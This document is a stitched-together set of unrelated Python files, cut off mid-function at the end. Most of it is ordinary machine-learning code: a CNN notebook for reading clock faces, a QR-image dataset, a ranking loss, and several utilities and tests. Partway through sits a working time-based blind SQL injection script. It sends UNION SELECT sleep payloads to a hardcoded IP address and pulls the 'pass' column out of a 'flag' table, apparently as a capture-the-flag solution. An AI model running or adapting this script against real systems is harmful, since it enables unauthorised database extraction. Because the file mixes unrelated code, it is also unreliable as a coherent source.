#!/usr/bin/env python
# coding: utf-8

# ### Data preprocessing

# In[1]:

import numpy as np
import matplotlib.pyplot as plt
from skimage import exposure
from LabelTrans_Regression import label_transform

images_npy = '../Datasets/images.npy'
labels_npy = '../Datasets/labels.npy'
images = np.load(images_npy)
labels = np.load(labels_npy)

# In[32]:

print(labels[0])

gamma_transfer = exposure.adjust_gamma(images[0], 3)

plt.imshow(gamma_transfer, cmap ='gray')

# In[30]:

plt.imshow(images[0], cmap ='gray')

# In[2]:

enhance_images = exposure.adjust_gamma(images, 3)

# ---

# ### Basic Model Shape

# In[8]:

from keras.models import Sequential
from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, Input, BatchNormalization
from keras import backend
import tensorflow as tf
import keras

model = Sequential()
model.add(Input(shape=(150, 150, 1)))
model.add(Conv2D(filters=32,
                    kernel_size=(3, 3),
                    activation='relu',
                    kernel_regularizer='l2'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(BatchNormalization())
model.add(Dropout(0.25))
model.add(Conv2D(filters=64,
                    kernel_size=(3, 3),
                    activation='relu',
                    kernel_regularizer='l2'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(BatchNormalization())
model.add(Dropout(0.25))
model.add(Conv2D(filters=128,
                    kernel_size=(3, 3),
                    activation='relu',
                    kernel_regularizer='l2'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(BatchNormalization())
model.add(Dropout(0.25))

model.add(Flatten())
model.add(Dense(units=256,
                activation='relu',
                kernel_regularizer='l2'))
model.add(Dense(units=128,
                activation='relu',
                kernel_regularizer='l2'))
model.add(Dense(units=1, activation='linear'))

model.summary()

# ---

# ### Regression

# In[3]:

# Enhance
import numpy as np
from sklearn.model_selection import train_test_split
from Regression import regression, preprocessing
import matplotlib.pyplot as plt

batch_size = 32
epochs = 100
lr = 0.001

images_npy = '../Datasets/images.npy'
labels_npy = '../Datasets/labels.npy'
# images = np.load(images_npy)
images = enhance_images
labels = np.load(labels_npy)

x_train, x_test, y_train, y_test = train_test_split(images, labels, train_size=0.8)
x_train, x_test, input_shape = preprocessing(x_train, x_test)
y_train = y_train[:, 0] + y_train[:, 1] / 60  # single output labels
y_test = y_test[:, 0] + y_test[:, 1] / 60

regression_history, regression_his = regression(x_train, y_train, x_test, y_test, batch_size, epochs, lr, input_shape)

# In[4]:

regression_x_test, regression_y_test = x_test, y_test

# In[5]:

# Training plot with enhance
train_loss = regression_his.history['loss']
train_mse = regression_his.history['custom_mae']
val_loss = regression_his.history['val_loss']
val_mse = regression_his.history['val_custom_mae']
epochs = range(1, len(train_loss) + 1)
plt.plot(epochs, train_loss, 'orange', label='train_loss')
plt.plot(epochs, train_mse, label='train_custom_mae')
plt.plot(epochs, val_loss, label='val_loss')
plt.plot(epochs, val_mse, label='val_custom_mae')
plt.legend()
plt.show()

# In[18]:

regression_pred = regression_history.predict(x_test)
print('min predict:', np.min(regression_pred), 'max predict:', np.max(regression_pred))
print("y_predict", '   ', 'y_test')
for i in range(5):
    print(regression_pred[i], ' ', y_test[i])

# In[26]:

regerss_sum = 0
for i in range(3600):
    regerss_sum += min(abs(regression_pred[i]%1 - regression_y_test[i]%1), abs(1 + regression_pred[i]%1 - regression_y_test[i]%1))
regerss_sum / 3600 * 60

# In[31]:

def sincos_mse(y_true, y_pred):
    return np.sqrt((np.sum(np.square(y_true - y_pred)* [3600, 3600, 1, 1]) ) / 3601)

regression_pred_minutes = regression_pred % 1
regression_pred_hours = regression_pred - regression_pred_minutes
regression_y_minutes = regression_y_test % 1
regression_Y_hours = regression_y_test - regression_y_minutes
trans_regression_pred = label_transform([regression_pred_hours, regression_pred_minutes])
trans_regression_y_test = label_transform([regression_Y_hours, regression_y_minutes])

sincos_mse(trans_regression_pred, trans_regression_y_test)

# In[32]:

# Without Enhance
import numpy as np
from sklearn.model_selection import train_test_split
from Regression import regression, preprocessing
import matplotlib.pyplot as plt

batch_size = 32
epochs = 100
lr = 0.001

images_npy = '../Datasets/images.npy'
labels_npy = '../Datasets/labels.npy'
images = np.load(images_npy)
# images = enhance_images
labels = np.load(labels_npy)

x_train, x_test, y_train, y_test = train_test_split(images, labels, train_size=0.8)
x_train, x_test, input_shape = preprocessing(x_train, x_test)
y_train = y_train[:, 0] + y_train[:, 1] / 60  # single output labels
y_test = y_test[:, 0] + y_test[:, 1] / 60

regression_w_history, regression_w_his = regression(x_train, y_train, x_test, y_test, batch_size, epochs, lr, input_shape)

# In[33]:

regression_x_w_test, regression_y_w_test = x_test, y_test

# In[58]:

# Training plot without enhance
w_eH = regression_w_his
w_eHis = regression_w_history
train_loss = w_eH.history['loss']
train_mse = w_eH.history['custom_mae']
val_loss = w_eH.history['val_loss']
val_mse = w_eH.history['val_custom_mae']
epochs = range(1, len(train_loss) + 1)
plt.plot(epochs, train_loss, 'orange', label='train_loss')
plt.plot(epochs, train_mse, label='train_custom_mae')
plt.plot(epochs, val_loss, label='val_loss')
plt.plot(epochs, val_mse, label='val_custom_mae')
plt.legend()
plt.show()

# ---

# ### Classfication

# In[4]:

from keras.utils.np_utils import to_categorical
from sklearn.model_selection import train_test_split
import numpy as np
import matplotlib.pyplot as plt
from Classfication import classfication, preprocessing

classes_num = 12 * 2
batch_size = 128
epochs = 100
lr = 0.001

images_npy = '../Datasets/images.npy'
labels_npy = '../Datasets/labels.npy'

# images = np.load(images_npy)
images = enhance_images
labels = np.load(labels_npy)
x_train, x_test, y_train, y_test = train_test_split(images, labels, train_size=0.8)

x_train, x_test, input_shape = preprocessing(x_train, x_test)
y_train = y_train[:, 0] * 2 + (y_train[:, 1] * 2 / 60).astype('int32')
y_test = y_test[:, 0] * 2 + (y_test[:, 1] * 2 / 60).astype('int32')

y_train_trans2class = to_categorical(y_train, classes_num)
y_test_trans2class = to_categorical(y_test, classes_num)

classfication_history, classfication_his = classfication(x_train, y_train_trans2class, x_test, y_test_trans2class, batch_size, epochs, lr, classes_num, input_shape)

# In[5]:

acc = classfication_his.history['categorical_accuracy']
loss = classfication_his.history['loss']
accVal = classfication_his.history['val_categorical_accuracy']
lossVal = classfication_his.history['val_loss']
epochs = range(1, len(loss) + 1)

# plt.title('Accuracy and Loss')
# fig = plt.figure()
ax1 = plt.subplot()
ax2 = ax1.twinx()
ax1.set_ylabel('Loss', fontsize=15)
ax2.set_ylabel('Accuracy', fontsize=15)
ax1.set_xlabel('epochs', fontsize=15)
L1, = ax2.plot(epochs, acc, 'blue', label='Training Accuracy')
L2, = ax1.plot(epochs, loss, 'green', label='Training Loss')
L3, = ax2.plot(epochs, accVal, 'red', label='Test Accuracy')
L4, = ax1.plot(epochs, lossVal, 'orange', label='Test Loss')
plt.legend(handles = [L1, L2, L3, L4], loc = 'upper left', fontsize=10)

# #### 720 categories

# In[25]:

from keras.utils.np_utils import to_categorical
from sklearn.model_selection import train_test_split
import numpy as np
import matplotlib.pyplot as plt
from Classfication import classfication, preprocessing

classes_num = 720
batch_size = 128
epochs = 100
lr = 0.001

images_npy = '../Datasets/images.npy'
labels_npy = '../Datasets/labels.npy'

# images = np.load(images_npy)
images = enhance_images
labels = np.load(labels_npy)
x_train, x_test, y_train, y_test = train_test_split(images, labels, train_size=0.8)

x_train, x_test, input_shape = preprocessing(x_train, x_test)
y_train = y_train[:, 0] * 60  + (y_train[:, 1]).astype('int32')
y_test = y_test[:, 0] * 60 + (y_test[:, 1]).astype('int32')

y_train_trans2class = to_categorical(y_train, classes_num)
y_test_trans2class = to_categorical(y_test, classes_num)

history, his = classfication(x_train, y_train_trans2class, x_test, y_test_trans2class, batch_size, epochs, lr, classes_num, input_shape)

# In[26]:

acc = his.history['categorical_accuracy']
loss = his.history['loss']
accVal = his.history['val_categorical_accuracy']
lossVal = his.history['val_loss']
epochs = range(1, len(loss) + 1)

# plt.title('Accuracy and Loss')
# fig = plt.figure()
ax1 = plt.subplot()
ax2 = ax1.twinx()
ax1.set_ylabel('Loss', fontsize=15)
ax2.set_ylabel('Accuracy', fontsize=15)
ax1.set_xlabel('epochs', fontsize=15)
L1, = ax2.plot(epochs, acc, 'blue', label='Training Accuracy')
L2, = ax1.plot(epochs, loss, 'green', label='Training Loss')
L3, = ax2.plot(epochs, accVal, 'red', label='Test Accuracy')
L4, = ax1.plot(epochs, lossVal, 'orange', label='Test Loss')
plt.legend(handles = [L1, L2, L3, L4], loc = 'upper left', fontsize=10)

# ### Multi head
#

# In[6]:

from keras.utils.np_utils import to_categorical
from sklearn.model_selection import train_test_split
import numpy as np
import matplotlib.pyplot as plt
from MultiheadModel import multi_classfication, preprocessing, minutes_transform

batch_size = 128
epochs = 100
lr = 0.001
classes_num = 12

images_npy = '../Datasets/images.npy'
labels_npy = '../Datasets/labels.npy'

# images = np.load(images_npy)
images = enhance_images
labels = np.load(labels_npy)
x_train, x_test, y_train, y_test = train_test_split(images, labels, train_size=0.8)
x_train, x_test, input_shape = preprocessing(x_train, x_test)

hours_train = y_train[:,0]
minutes_train = y_train[:,1]
hours_test = y_test[:,0]
minutes_test = y_test[:,1]

y_train_hours = to_categorical(hours_train, classes_num)
y_train_mintues = minutes_train / 60
y_test_hours = to_categorical(hours_test, classes_num)
y_test_mintues = minutes_test  / 60
# y_train_mintues = minutes_transform(minutes_train)
# y_test_mintues = minutes_transform(minutes_test)

y_train = [y_train_hours, y_train_mintues]
y_test = [y_test_hours, y_test_mintues]

history, his = multi_classfication(x_train, y_train, x_test, y_test, batch_size, epochs, lr, classes_num, input_shape)

# In[29]:

minutes_mse = his.history['minutes_mse'][1:]
minutes_loss = his.history['minutes_loss'][1:]
Vminutes_mse = his.history['val_minutes_mse'][1:]
Vminutes_loss = his.history['val_minutes_loss'][1:]
epochs = range(1, len(minutes_mse) + 1)
ax1 = plt.subplot()
ax1.set_ylabel('Loss', fontsize=15)
ax1.set_xlabel('epochs', fontsize=15)
ax1.plot(epochs, minutes_mse, 'orange', label='minutes_mse')
ax1.plot(epochs, minutes_loss, label='minutes_loss')
ax1.plot(epochs, Vminutes_mse, label='val_minutes_mse')
ax1.plot(epochs, Vminutes_loss, label='val_minutes_loss')
plt.legend()
plt.show()

# In[30]:

hours_acc = his.history['hours_categorical_accuracy']
hours_loss = his.history['hours_loss']

Vhours_acc = his.history['val_hours_categorical_accuracy']
Vhours_loss = his.history['val_hours_loss']
epochs = range(1, len(hours_loss) + 1)

# plt.title('Accuracy and Loss')
# fig = plt.figure()
ax1 = plt.subplot()
ax2 = ax1.twinx()
ax1.set_ylabel('Loss', fontsize=15)
ax2.set_ylabel('Accuracy', fontsize=15)
ax1.set_xlabel('epochs', fontsize=15)
L1, = ax2.plot(epochs, hours_acc, 'blue', label='hours_categorical_accuracy')
L2, = ax1.plot(epochs, hours_loss, 'green', label='hours_loss')
L3, = ax2.plot(epochs, Vhours_acc, 'red', label='val_hours_categorical_accuracy')
L4, = ax1.plot(epochs, Vhours_loss, 'orange', label='val_hours_loss')
plt.legend(handles = [L1, L2, L3, L4], loc = 'right', fontsize=10)

# In[9]:

pred = history.predict(x_test)

# In[10]:

print("y_predict", '   ', 'y_test')
for i in range(100):
    print(np.argmax(pred[0][i]), ' ', np.argmax(y_test[0][i]))

# In[11]:

# minutes difference and average minutes difference
sum = 0
for i in range(len(pred[1])):
    sum += abs(pred[1][i] - y_test[1][i])
    print(pred[1][i] , ' ', y_test[1][i] )

sum / len(pred[1]) * 60

# In[33]:

pred_hours = np.array([np.argmax(pred[0][i]) for i in range(3600)])
pred_minutes = np.array([pred[1][i] for i in range(3600)])
y_test_hours = np.array([np.argmax(y_test[0][i]) for i in range(3600)])
y_test_minutes = np.array([y_test[1][i] for i in range(3600)])

# In[34]:

def sincos_mse(y_true, y_pred):
    return np.sqrt((np.sum(np.square(y_true - y_pred)* [3600, 3600, 1, 1]) ) / 3601)

trans_pred = label_transform([pred_hours, pred_minutes])
trans_y_test = label_transform([y_test_hours, y_test_minutes])

sincos_mse(trans_pred, trans_y_test)

# ### Label trans regression

# In[35]:

from keras.utils.np_utils import to_categorical
from sklearn.model_selection import train_test_split
import numpy as np
import matplotlib.pyplot as plt
from LabelTrans_Regression import label_trans_regression, preprocessing, label_transform

batch_size = 32
epochs = 100
lr = 0.001

images_npy = '../Datasets/images.npy'
labels_npy = '../Datasets/labels.npy'

# images = np.load(images_npy)
images = enhance_images
labels = np.load(labels_npy)

# labels_trans = label_transform(labels)

x_train, x_test, y_train, y_test = train_test_split(images, labels, train_size=0.8)

y_o_train = y_train
y_o_test = y_test

y_train = label_transform(y_train)
y_test = label_transform(y_test)

x_train, x_test, input_shape = preprocessing(x_train, x_test)

label_trans_regression_history, label_trans_regression_his = label_trans_regression(x_train, y_train, x_test, y_test, batch_size, epochs, input_shape)

# In[42]:

train_loss = label_trans_regression_his.history['loss']
train_mse = label_trans_regression_his.history['mae']
val_loss = label_trans_regression_his.history['val_loss']
val_mse = label_trans_regression_his.history['val_mae']
epochs = range(1, len(train_loss) + 1)
plt.plot(epochs, train_loss, 'orange', label='train_loss')
plt.plot(epochs, train_mse, label='train_mse')
plt.plot(epochs, val_loss, label='val_loss')
plt.plot(epochs, val_mse, label='val_mse')
plt.legend()
plt.show()

# In[44]:

label_trans_pred = label_trans_regression_history.predict(x_test)

# In[56]:

def sincos_mse(y_true, y_pred):
    return np.sqrt((np.sum(np.square(y_true - y_pred)* [3600, 3600, 1, 1]) ) / 3601)

# In[57]:

sincos_mse(label_trans_pred, y_test)

# ### re-Label trans
# return real clock from sin&cos format

# In[47]:

def label_transform_map(h_list, m_list):
    hours_array = np.zeros(shape=(len(h_list), 2))
    minutes_array = np.zeros(shape=(len(m_list), 2))
    for i in range(len(h_list)):
        hour = h_list[i]
        hours_array[i] = (np.sin(hour*(1/6)*np.pi),np.cos(hour*(1/6)*np.pi))

    for i in range(len(m_list)):
        minute = m_list[i]
        minutes_array[i] = (np.sin(minute * (1/3) * np.pi), np.cos(minute * (1/3)*np.pi))

    return hours_array, minutes_array

# In[48]:

def distance(v1, v2):
    dis_array = np.zeros(shape=(len(v2)))
    for i in range(len(v2)):
        dis_array[i] = float(np.sqrt(sum((v1 - v2[i])**2)))
    return dis_array

# In[49]:

hours_list = np.arange(0, 12).astype('float32')
minutes_list = np.arange(0, 60).astype('float32')

h_map, m_map = label_transform_map(hours_list, minutes_list)

# In[51]:

pred = label_trans_pred
hours = pred[:, 0:2]
minutes = pred[:, 2:]

def real_clock(hours, minutes):
    length = len(hours)
    result_list = np.zeros(shape=(length, 2))
    for i in range(length):
        hours_dis = distance(hours[i], h_map)
        minutes_dis = distance(minutes[i], m_map)

        h_min = np.argsort(hours_dis)[0:2]
        m_min = np.argsort(minutes_dis)[0]
        if (h_min[0] != 0) | (h_min[1] != 11):
            if m_min > 30:
                result_list[i] = (h_min[0]-1, m_min)
            else:
                result_list[i] = (h_min[0], m_min)
        else:
            if h_min[0] == 0:
                if m_min > 30:
                    result_list[i] = (11, m_min)
                else:
                    result_list[i] = (0, m_min)
            if h_min[0] == 11:
                if m_min > 30:
                    result_list[i] = (10, m_min)
                else:
                    result_list[i] = (11, m_min)
    return result_list

# In[55]:

result_list = real_clock(hours, minutes)
true_result = real_clock(y_test[:, 0:2], y_test[:, 2:])

# In[131]:

sum = 0
for i in range(3600):
    sum += min(abs(result_list[i, 1] - y_o_test[i, 1]), abs(60 + result_list[i, 1] - y_o_test[i, 1]))

# In[132]:

sum/3600

# In[119]:

for i in range(100):
    print(result_list[i], ' ', y_o_test[i])

# ---

# ### Other attempts

# In[46]:

# two classification Multi-head

from keras.utils.np_utils import to_categorical
from sklearn.model_selection import train_test_split
import numpy as np
import matplotlib.pyplot as plt
from MultiheadModelAlex import multi_classficationAlex, preprocessing, minutes_transform
from skimage import exposure

batch_size = 128
epochs = 100
lr = 0.001
classes_num = 30

images_npy = '../Datasets/images.npy'
labels_npy = '../Datasets/labels.npy'

images = np.load(images_npy)
enhance_images = exposure.adjust_gamma(images, 3)
images = enhance_images
labels = np.load(labels_npy)
x_train, x_test, y_train, y_test = train_test_split(images, labels, train_size=0.8)
x_train, x_test, input_shape = preprocessing(x_train, x_test)

hours_train = y_train[:,0]
minutes_train = y_train[:,1]
hours_test = y_test[:,0]
minutes_test = y_test[:,1]

minutes_train = (minutes_train / 2).astype('int32')
minutes_test = (minutes_test / 2).astype('int32')

y_train_hours = to_categorical(hours_train, 12)
y_test_hours = to_categorical(hours_test, 12)
y_train_mintues = to_categorical(minutes_train, classes_num)
y_test_mintues = to_categorical(minutes_test, classes_num)

y_train = [y_train_mintues, y_train_hours]
y_test = [y_test_mintues, y_test_hours]

history, his = multi_classficationAlex(x_train, y_train, x_test, y_test, batch_size, epochs, lr, classes_num, input_shape)

# In[2]:

# different fully connected layer

from keras.utils.np_utils import to_categorical
from sklearn.model_selection import train_test_split
import numpy as np
import matplotlib.pyplot as plt
from MultiheadModelBeta import multi_classficationBeta, preprocessing, minutes_transform

batch_size = 128
epochs = 100
lr = 0.001
classes_num = 12

images_npy = '../Datasets/images.npy'
labels_npy = '../Datasets/labels.npy'

# images = np.load(images_npy)
images = enhance_images
labels = np.load(labels_npy)
x_train, x_test, y_train, y_test = train_test_split(images, labels, train_size=0.8)
x_train, x_test, input_shape = preprocessing(x_train, x_test)

hours_train = y_train[:,0]
minutes_train = y_train[:,1]
hours_test = y_test[:,0]
minutes_test = y_test[:,1]

y_train_hours = to_categorical(hours_train, classes_num)
y_train_mintues = minutes_train / 60
y_test_hours = to_categorical(hours_test, classes_num)
y_test_mintues = minutes_test  / 60
# y_train_mintues = minutes_transform(minutes_train)
# y_test_mintues = minutes_transform(minutes_test)

y_train = [y_train_hours, y_train_mintues]
y_test = [y_test_hours, y_test_mintues]

history, his = multi_classfication(x_train, y_train, x_test, y_test, batch_size, epochs, lr, classes_num, input_shape)

# ---

# ### Model Structure

# In[3]:

# Multi head model
from keras.models import Model
from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, Input, BatchNormalization
from keras import backend
import tensorflow as tf
import keras

input = Input(shape=(150, 150, 1))

conv1 = Conv2D(32, (3, 3),
                activation='relu',
                kernel_regularizer='l2')(input)
pool1 = MaxPooling2D(pool_size=(2, 2))(conv1)
normal1 = BatchNormalization()(pool1)
drop1 = Dropout(0.25)(normal1)

conv3 = Conv2D(64, (3, 3),
                activation='relu',
                kernel_regularizer='l2')(drop1)
pool2 = MaxPooling2D(pool_size=(2, 2))(conv3)
normal2 = BatchNormalization()(pool2)
drop2 = Dropout(0.25)(normal2)

conv3 = Conv2D(128, (3, 3),
                activation='relu',
                kernel_regularizer='l2')(drop2)
pool3 = MaxPooling2D(pool_size=(2, 2))(conv3)
normal3 = BatchNormalization()(pool3)
drop3 = Dropout(0.25)(normal3)

flatten = Flatten()(drop3)
Dense1 = Dense(256,
                activation='relu',
                kernel_regularizer='l2')(flatten)
Dense2 = Dense(128,
            activation='relu',
            kernel_regularizer='l2')(Dense1)
output_class = Dense(12, activation='softmax', name='hours')(Dense2)
# Regression
output_regress = Dense(1, activation='linear', name='minutes')(Dense2)
multi_model = Model(inputs = input, outputs = [output_class, output_regress])
multi_model.summary()


import functools
import collections

# See https://wiki.python.org/moin/PythonDecoratorLibrary

def dump_args(func):
    "This decorator dumps out the arguments passed to a function before calling it"
    argnames = func.__code__.co_varnames[:func.__code__.co_argcount]
    fname = func.__name__

    def echo_func(*args, **kwargs):
        print((fname, ":", ', '.join('%s=%r' % entry
            for entry in list(zip(argnames, args)) + list(kwargs.items()))))
        return func(*args, **kwargs)

    return echo_func

def memoize(obj):
    cache = obj.cache = {}

    @functools.wraps(obj)
    def memoizer(*args, **kwargs):
        if kwargs:  # frozenset is used to ensure hashability
            key = args, frozenset(kwargs.items())
        else:
            key = args
        if key not in cache:
            cache[key] = obj(*args, **kwargs)
        return cache[key]
    return memoizer

class memoized(object):
    '''Decorator. Caches a function's return value each time it is called.
    If called later with the same arguments, the cached value is returned
    (not reevaluated).
    '''
    def __init__(self, func):
        self.func = func
        self.cache = {}
    def __call__(self, *args):
        if not isinstance(args, collections.Hashable):
            # uncacheable. a list, for instance.
            # better to not cache than blow up.
            return self.func(*args)
        if args in self.cache:
            return self.cache[args]
        else:
            value = self.func(*args)
            self.cache[args] = value
            return value
    def __repr__(self):
        '''Return the function's docstring.'''
        return self.func.__doc__
    def __get__(self, obj, objtype):
        '''Support instance methods.'''
        return functools.partial(self.__call__, obj)


import torch
import glob
from pathlib import Path
import matplotlib.pyplot as plt
import cv2
from torch import nn
from PIL import Image
import numpy as np
from torch.utils.data import DataLoader, Dataset
from torch.autograd import Variable
import os
import tqdm
import util as mutil

class QR_good_bad_dataset(Dataset):
    """
    bad_qr and good_qr
    """
    def __init__(self, data_path, image_size, image_channels=3):
        self.data_path = Path(data_path)
        self.image_size = image_size
        self.samples = self.init()
        self.image_channels = image_channels  # 3 or 1

    def init(self):
        """
        scan good and bad folder below data_path。。。
        """
        good = [_ for _ in self.data_path.glob("good/*.png")]
        bad = [_ for _ in self.data_path.glob("bad/*.png")]
        assert len(good) == len(bad)  # good bad 資料夾下資料有不同數量的資料。
        res = []
        for i in range(len(good)):
            if (good[i].stem == bad[i].stem):
                tmp = (good[i], bad[i])
                res.append(tmp)
        assert len(res) > 0  # 沒有資料。。。
        return res

    def __getitem__(self, index):
        good_path, bad_path = self.samples[index]

        # read file
        g_img = cv2.imread(good_path.__str__(), cv2.IMREAD_GRAYSCALE)
        if self.image_channels != 1:
            g_img = cv2.cvtColor(g_img, cv2.COLOR_BGR2RGB)
        b_img = cv2.imread(bad_path.__str__(), cv2.IMREAD_GRAYSCALE)
        if self.image_channels != 1:
            b_img = cv2.cvtColor(b_img, cv2.COLOR_BGR2RGB)

        # make square
        g_img = mutil.pad_2_square(g_img, self.image_size)
        b_img = mutil.pad_2_square(b_img, self.image_size)

        # convert to torch-style shape
        # [h, w, channel] --> [channel, h, w]

        g_img = torch.tensor(g_img)
        # 1 是 channel
        g_img = torch.reshape(g_img, shape=(self.image_size, self.image_size, self.image_channels))
        g_img = torch.permute(g_img, (2, 0, 1))
        b_img = torch.tensor(b_img)
        b_img = torch.reshape(b_img, shape=(self.image_size, self.image_size, self.image_channels))
        b_img = torch.permute(b_img, (2, 0, 1))

        return torch.clone(g_img), torch.clone(b_img)

    def __len__(self):
        return len(self.samples)

if __name__ == "__main__":
    my_dataset = QR_good_bad_dataset("./data", image_size=128)

    my_dataloader = DataLoader(my_dataset, batch_size=32, drop_last=False, pin_memory=False)

    for i in my_dataloader:
        g, b = i
        print(g.size())
        print(b.size())

    pass


#!/usr/bin/env python

"""Run all the benchmarks with specific parameters"""
import argparse

from scvi.benchmark import run_benchmarks

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("--epochs", type=int, default=250, help="how many times to process the dataset")
    parser.add_argument("--dataset", type=str, default="cortex", help="which dataset to process")
    parser.add_argument("--nobatches", action='store_true', help="whether to ignore batches")
    parser.add_argument("--nocuda", action='store_true',
                        help="whether to use cuda (will apply only if cuda is available")
    parser.add_argument("--benchmark", action='store_true',
                        help="whether to use cuda (will apply only if cuda is available")
    args = parser.parse_args()

    run_benchmarks(args.dataset, n_epochs=args.epochs, use_batches=(not args.nobatches), use_cuda=(not args.nocuda),
                   show_batch_mixing=True, benchmark=args.benchmark)


import requests
from string import digits,ascii_letters

headers={"Content-Type" : "application/x-www-form-urlencoded"}

url = "http://54.169.55.172:1001"
pos = 1
exfil = ""
printable = "," + digits + ascii_letters + "!@#$%^&*()_+=-/><\\'\""
column = "pass"
table = "flag"
while(True):
    for i in printable:
        data = f'username=\'UNION SELECT IF(ascii(substring(group_concat({column}),{pos},1)) = {str(ord(i))},sleep(3),\'a\'),2,3,4 FROM {table} LIMIT 1,2-- -'
        r = requests.post(url=url,data=data,headers=headers)
        if r.elapsed.total_seconds() > 3:
            exfil += i
            pos += 1
            print(exfil)
            break
        if i == '"':
            exit()


import cv2
import numpy as np
import os

# Playing video from file:
# cap = cv2.VideoCapture('vtest.avi')
# Capturing video from webcam:
def captura():
    cap = cv2.VideoCapture(0)
    f = '0'

    for currentFrame in range(1, 49):
    # Capture frame-by-frame
        ret, frame = cap.read()

    # Handles the mirroring of the current frame
        frame = cv2.flip(frame,1)

    # Our operations on the frame come here
    #gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)

    # Saves image of the current frame in jpg file
        if(currentFrame == 10):
            f = ''
        name = f + str(currentFrame) + '.jpg'
        cv2.imwrite(name, frame)

    # Display the resulting frame
        cv2.imshow('frame',frame)
        cv2.waitKey(42)

# When everything done, release the capture
    cap.release()
    cv2.destroyAllWindows()
    os.system('mv *.jpg Capture/')    #Move file


from django.http import *

import json, datetime

from .models import Script

def jsonEncoder(obj):
    if isinstance(obj,datetime.datetime):
        return obj.ctime()
    else:
        return obj

def save(request,name=""):
    if not request.user.is_authenticated():
        return HttpResponseForbidden()
    if not name:
        return HttpResponseBadRequest()
    script = Script.objects.get_or_create(name=name,owner=request.user)[0]
    script.contents = request.REQUEST["contents"]
    script.save()
    return HttpResponse('true',content_type="application/json")

def load(request,name=None):
    if not request.user.is_authenticated():
        return HttpResponseForbidden()
    if not name:
        return HttpResponse(json.dumps(list(Script.objects.filter(owner=request.user)
                                            .values("name","modified")),default=jsonEncoder),
                            content_type="application/json")
    try:
        return HttpResponse(Script.objects.get(owner=request.user,name=name).contents,
                            content_type="application/json")
    except Script.DoesNotExist as err:
        return HttpResponseNotFound()


from dotenv import find_dotenv, load_dotenv
from transformers import pipeline
# from langchain.prompts import PromptTemplate
from langchain.prompts import PromptTemplate
from langchain.llms import OpenAI
from langchain.chains import LLMChain

load_dotenv(find_dotenv())
def image2text(url):
    image_to_text = pipeline("image-to-text", model="Salesforce/blip-image-captioning-base")
    text = image_to_text(url)[0]['generated_text']
    print(text)
    return text

image2text("4.jpg")

## llm
def generate_story(scenario):
    template = """
    You are a storyteller;
    You can generate a short story based on a simple narrative, the story should be no more than 20 words.

    CONTEXT: {scenario}
    STORY:
    """
    prompt = PromptTemplate.from_template(template = template)

    story_llm = LLMChain(llm = OpenAI(
                         model_name="gpt-3.5-turbo",temperature=1),prompt=prompt, verbose=True)
    story = story_llm.predict(scenario=scenario)

    print(story)
    return story

scenario = image2text("4.jpg")
story = generate_story(scenario)


import logging
import os

import time

class FileUtil(object):
    max_wait_time = 10  # seconds

    @staticmethod
    def is_file_ready(file):
        logging.debug("FileUtil.is_file_ready({0})".format(file))
        ''' check if file creation is finished! '''
        sleep_time = 0.5 # seconds

        counter = 0
        file_ready = os.path.isfile(file)
        while counter < (FileUtil.max_wait_time / sleep_time) and not file_ready:
            time.sleep(sleep_time)
            counter = counter + 1

            file_ready = os.path.isfile(file)

        logging.debug("FileUtil.is_file_ready({0}) --> {1}".format(file, file_ready))
        return file_ready


import logging

import pyomo.common.unittest as unittest
from io import StringIO

from pyomo.common.log import LoggingIntercept
from pyomo.repn.util import ftoa

try:
    import numpy as np
    numpy_available = True
except:
    numpy_available = False

class TestRepnUtils(unittest.TestCase):
    def test_ftoa(self):
        # Test that trailing zeros are removed
        f = 1.0
        a = ftoa(f)
        self.assertEqual(a, '1')

    @unittest.skipIf(not numpy_available, "NumPy is not available")
    def test_ftoa_precision(self):
        log = StringIO()
        with LoggingIntercept(log, 'pyomo.core', logging.WARNING):
            f = np.longdouble('1.1234567890123456789')
            a = ftoa(f)
        self.assertEqual(a, '1.1234567890123457')
        # Depending on the platform, np.longdouble may or may not have
        # higher precision than float:
        if f == float(f):
            test = self.assertNotRegexpMatches
        else:
            test = self.assertRegex
        test( log.getvalue(),
              '.*Converting 1.1234567890123456789 to string '
              'resulted in loss of precision' )

if __name__ == "__main__":
    unittest.main()


import torch
import torch.nn as nn

class CustomLambdaLoss(nn.Module):
    def __init__(self, apply_boosted_weight, distill_teacher_score, boosted_k=.5, boosted_b=.5, reduction="mean"):
        super().__init__()
        self.apply_boosted_weight = apply_boosted_weight
        self.distill_teacher_score = distill_teacher_score
        self.reduction = reduction
        self.boosted_k = boosted_k
        self.boosted_b = boosted_b

    def forward(self, y_pred, y_true, boosted_y = None):
        device = y_pred.device
        clamp_val = 1e8 if y_pred.dtype==torch.float32 else 1e4

        y_pred_sorted, indices_pred = y_pred.sort(descending=True, dim=-1)

        # for y_true
        true_sorted_by_preds = torch.gather(y_true, dim=1, index=indices_pred)
        true_diffs = true_sorted_by_preds[:, :, None] - true_sorted_by_preds[:, None, :]
        padded_pairs_mask = torch.isfinite(true_diffs)
        padded_pairs_mask = padded_pairs_mask & (true_diffs > 0)

        true_sorted_by_preds.clamp_(min=0.) # what if y_pred < 0 ?

        # for lambda weights
        if self.distill_teacher_score:
            y_true_sorted, _ = y_true.sort(descending=True, dim=-1)
            y_true_sorted.clamp_(min=0.)

            # Here we find the gains, discounts and ideal DCGs per slate.
            pos_idxs = torch.arange(1, y_pred.shape[1] + 1).to(device)
            D = torch.log2(1. + pos_idxs.float())[None, :]

            maxDCGs = torch.sum(((torch.pow(2, y_true_sorted) - 1) / D), dim=-1).clamp(min=1e-4)
            G = (torch.pow(2, true_sorted_by_preds) - 1) / maxDCGs[:, None]

            weights = ndcgLoss1_scheme(G, D)  # type: ignore
        else:
            inv_pos_idxs = 1. / torch.arange(1, y_pred.shape[1] + 1).to(device)
            weights = torch.abs(inv_pos_idxs.view(1,-1,1) - inv_pos_idxs.view(1,1,-1)) # [1, topk, topk]

        # We are clamping the array entries to maintain correct backprop (log(0) and division by 0)
        scores_diffs = (y_pred_sorted[:, :, None] - y_pred_sorted[:, None, :]).clamp(min=-clamp_val, max=clamp_val)
        scores_diffs.masked_fill(torch.isnan(scores_diffs), 0.)
        losses = torch.log(1. + torch.exp(-scores_diffs)) * weights #[bz, topk, topk]

